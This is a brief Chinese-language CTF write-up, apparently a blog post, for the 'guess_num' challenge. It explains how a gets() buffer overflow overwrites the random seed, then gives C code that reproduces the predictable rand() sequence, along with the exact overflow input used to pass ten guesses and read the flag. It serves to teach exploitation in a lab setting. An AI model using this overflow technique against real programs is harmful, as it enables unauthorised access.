文章27
标签0
分类4

guess_num

guess_num
首先检查
在这里插入图片描述
程序开启了Stack,NX,PIE,并且是一个64位的程序
看代码,
在这里插入图片描述
输入数字进行10次验证,每一次都对则Success。
在这里插入图片描述
然后cat flag
然而这是一个随机数,根本猜不到。
在这里插入图片描述
我们发现可以利用gets溢出覆盖随机数种子,从而自己控制一个随机数种子。
只需要0x20+8个a即可。
c代码:

#include<stdio.h>
#include<stdlib.h>

int main(){
        srand(0x61616161);
        int i = 0;
        int num;
        for(i=0;i<=9;++i){
                num = rand()%6 + 1;
                printf("%d",num);
        }
return 0;
}

输出
5646623622
直接远程调试:
在这里插入图片描述

输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
然后按顺序输入随机数
在这里插入图片描述

    0 评论

    ">